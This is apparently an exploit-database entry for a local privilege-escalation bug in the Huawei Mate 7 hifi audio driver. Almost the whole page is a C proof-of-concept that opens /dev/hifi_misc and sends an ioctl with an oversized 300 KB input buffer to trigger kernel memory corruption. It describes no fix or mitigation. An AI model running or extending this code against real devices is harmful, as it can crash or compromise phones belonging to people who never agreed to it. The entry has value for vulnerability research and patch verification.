Huawei mate 7 /dev/hifi_misc privilege escalation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2016-01-24 | Type : local | Platform : hardware

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[+] Code ...

/*
*
* HuaWei Mate7 hifi driver Poc
*
* Writen by pray3r, <pray3r.z@gmail.com>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};

int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;

poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;

fd = open("/dev/hifi_misc", O_RDWR);

ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

free(in);
free(out);

return 0;
}